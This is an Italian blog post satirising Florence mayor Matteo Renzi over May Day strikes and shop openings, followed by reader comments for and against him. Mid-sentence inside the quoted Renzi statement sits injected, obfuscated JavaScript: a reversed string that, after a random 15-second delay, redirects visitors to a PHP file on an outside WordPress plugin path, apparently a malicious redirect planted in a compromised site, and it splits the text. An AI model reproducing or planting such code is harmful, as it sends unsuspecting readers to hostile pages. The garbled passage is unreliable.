Renzi. Un luccicante, meraviglioso, Nulla

image_pdfimage_print

Matteo Renzi
il sindaco di Firenze Matteo Renzi. Ha scritto: “Improvvisamente a Firenze siamo agli scioperi su tutto. Nel giro di 24 ore si è proclamato lo sciopero alla Prima del Maggio, poi annunciato lo sciopero alla Pergola, quindi calendarizzato lo sciopero all’Ataf (…) chi prova a mettere questa strana coincidenza in relazione con le polemiche nazionali sul Primo Maggio pensa male, ovviamente pensa male… Se prevale linea di qualche barricadero fuori stagione che pensa di adeguarci alle consuetudini di un tempo che non c’è più, si sappia che hanno sbagliato obiettivo. Mi hanno eletto i cittadini. Se vorranno mi m (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anderanno a casa i cittadini, non un sindacato in cerca di visibilità…

I privilegiati gli remano contro. Chiaro, lui è l’eroe della giustizia. Ce l’hanno con lui perché è nuovo e giovane e pensa al popolo tutto il tempo. Anzi alla gente. È uno che ha sempre lavorato, anche il primo maggio, laggiù nelle miniere incatenato alla Ruota della Fortuna. Mica come la gente che lavora tutto il giorno e tutti i giorni, all’aria condizionata dei negozi o comodamente seduta alle casse dei grandi magazzini, con la fila dei clienti che sorridono felici.

Non vuole confermare gli antichi privilegi “delle cubiste e dei parenti dei sindacalisti”.

Si limita a scegliere una-che-conosce-lui per dirigere il Maggio, regalare le piazze della città a MTV e poi farla diventare la location di un reality americano di buzzurri, ma quello è perché siamo una città turistica e abbiamo bisogno di costruirci un’immagine. Firenze, ha bisogno di costruirsi un’immagine…

Si è “liberi” di lavorare il primo maggio, ovviamente per migliorare l’offerta sul mercato internazionale. E naturalmente sono liberi allo stesso modo datori di lavoro, lavoratrici e lavoratori: un’azienda o un negozio sono una grande famiglia dove tutti decidono tutto insieme, d’amore e d’accordo. Se invece si resta chiusi perché commesse e commessi pretendono di festeggiare la festa del lavoro, neanche fosse Santo Stefano o Capodanno, sono i lavoratori interinali a pagare per il privilegio dei garantiti. C’è solo lui, Matteo Renzi, giovane eroe senza macchia né ideologia, che pensa agli ultimi.

Chi ritiene che ci sia una qualche asimmetria, magari addirittura una differenza di potere, fra proprietari e lavoratori deve essere un “comunista”, come dice anche quell’altro Grande Piazzista di Arcore che il nostro si sforza di imitare. Noi di Firenze non siamo una città, una storia, una cultura – siamo un’offerta per turisti frettolosi. Una statuetta graziosa con la cupola sullo scaffale di un ipermercato mondiale, da comprare con lo sconto a tutte le ore.

Che qualcuno possa cercare da noi altro che le vetrine lo possono pensare solo i “barricaderi fuori stagione”. Che altro è Firenze se non una somma di negozi e un posto di tribuna allo stadio? Ci possono essere vita sociale, cultura popolare, relazioni umane, se non sono in funzione per un giorno le carte di credito?

I privilegiati, quelli che ce l’hanno con lui poverino perché vuol fare giustizia, sono i lavoratori delle aziende pubbliche. Tutti vecchi conservatori non aperti al nuovo che avanza. Luccicante meraviglioso Nulla. E naturalmente la gerarchia dei loro capi, sfruttatori di permessi sindacali, aizzatori di scioperi ad personam. Probabilmente gli unici sfruttatori che esistano per Renzi. I sindacalisti della Cgil. Chi se no. Chi se l’è goduta in tutti questi anni, prima che arrivasse il Renzi giovane e ardito paladino del popolo? Ce l’hanno con lui come i giudici con quell’Altro: due vite parallele.

L’Ataf è risorta da quando c’è Matteo. Il teatro Comunale pure – che fosse stato per lui sarebbe rimasto in Giappone fino alla morte, perché una bella fine eroica ci avrebbe dato un bel ritorno di immagine.

Perché sia chiaro, per Renzi l’immagine è tutto. La sua. Ma proprio tutto. Lui deve essere amato, non sopporta che lo si possa criticare. Chi non lo ama deve avere qualche oscuro interesse nascosto da proteggere.

E però, caro Sindaco, si rassegni. Si può essere giovani e vecchi nell’anima. Tanto “moderni” quanto malati di ideologia consumista. Brillanti per le prime pagine dei giornali e ridicoli per chi ama Firenze davvero.

Soprattutto si può non essere amati. Io di sicuro non l’amo per niente. Ma proprio per niente.

0 Comments

  1. Francesco Giungato

    Non farei di ogni erba un fascio.
    Renzi ha sbagliato sul discorso Giappone, comportandosi come il padrone delle ferriere.
    Nel caso del 1° maggio, forse, ha ragione perché:
    1. i tempi sono cambiati, l’Italia è passata da economia in sviluppo a economia in stallo;
    2. nel 2010 il flusso monetario da turismo è calato di 1.291 milioni di euro, 3 milioni di viaggiatori in meno, 18 milioni di notti in meno;
    3. una città turistica “campa” con i turisti, che viaggiano soprattutto nei giorni festivi, e se non ci sono i servizi vanno da un’altra parte, leggi Romagna;
    4. la democrazia dovrebbe essere libera scelta, e quindi facoltà di aprire o di restare chiusi;
    5. ed infine perché librerie-bar-ristoranti aperti ed altri esercizi no?

    Reply
  2. Maurizio Sarcoli

    riflettevo sul sindaco presenzialista e festaiolo, ultimemente più impegnato a dire ai media che al consiglio comumanle i suoi grandiosi progetti per firenze, mia città natale (l’ultima esternazione l’ho letta sul suppelmento femminile di un noto quotidiano).
    Condivido l’articolo e quindi non lo ripeto, pongo una domanda e un dubbio su questo modo di fare politica.
    la domanda è: cosa ne pensa di renzi chi lo conosce bene? Chiediamolo ai dipendenti della provincia di Firenze (dove ha fatto il primo mandato importante) o ai suoi concittadini di Figline valdarno.
    Mi piacerebbe sentire da chi l’ha assaggiato se è così buono.
    Il dubbio è come può una persona che aldilà delle dichiarazioni usa lo stesso stile di belusconi come fa senza i soldi di berlusconi ad apparire così tanto, la forza delle idee? i soldi dei contribuenti usati a fine personale? Il mio dubbio (ma è un auspicio mascherato) è che sia impossibile mantenere il contegno e l’immagine costruiti ad arte (stile berlusconi) senza il costoso ‘maquillage’ necessario per nascondere scheletri (leggi zittire testimoni) e cambiare le regole del gioco a proprio uso e consumo (si prepari a pagare molti avvocati).
    In chiusura: veltroni che ha perso vuole riemergere basandosi sul successo momentaneo di alcuni (tra cui Renzi), dicendo che questi giovani sono il futuro del ‘suo’ partito.
    Renzi è la fine del suo partito, se Veltroni non capisce questo vuol dire che ha messo il cervello nel frullatore.
    Ciao, Maurizio

    Reply
  3. sara

    Articolo brillante davvero.. hai colto in pieno secondo me l’ideologia di quest’uomo che è fatto di nulla, appropriatissima scelta della parola come c’è nel titolo.. E’ devastante per Firenze proprio la profonda ignoranza nei confronti della storia dell’uomo e di tutto quello che lo circonda, di cui questo ragazzo è caratterizzazto. Speriamo lo rimandiate a casa presto..

    Reply
  4. Alex62

    Sono dipendente della Provincia. Confermo il vuoto opprimente rappresentato da Renzi, che quand’era Presidente girava sempre con i fotografi appresso per farsi riprendere mentre abbracciava qualche dipendente e apparire dopo mezz’ora sul sito istituzionale. Che, sempre sul sito istituzionale, apriva una pagina chiamata “Cosa dicono di me” (sic!) con raccolta di articoli di stampa e foto che lo declamavano. (…) Che ha lasciato un buco enorme tanto che facciamo a miccino con la carta da fotocopie o con i punti della spillatrice. Che passa i due terzi del suo tempo a promuovere la sua immagine. Che faceva assemblee per non dire niente, tranne monologhi uguali a quelli di un ragazzone da bar, cioè vuoti e pieni di frasi fatte, senza dire niente sui servizi che dovevamo portare avanti. Uno che parlando come un pischello fa il simpatico e cerca di ammaliare tutti. Ma ve lo ricordate quand’era consigliere comunale del Partito Popolare? Era in prima fila nel combattere tutto ciò che odorava di sinistra. Renzi cambia come cambia il vento, ma senza un contenuto uno, ma solo con frasi da bar.
    Chi ce lo ha imposto, peste lo colga! Facciamo di tutto perché se ne torni a Rignano a far finta di lavorare.

    Reply
  5. Giovanni

    Sono d’accordissimo con Maurizio, Sara,e Alex62!!! Purtroppo non abito più a Firenze e frequento zone circondate da boyscout tirapiedi del vuoto che avanza… sono stato contentissimo di leggere i vostri commenti, un po’ di ossigeno finalmente!

    Reply

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *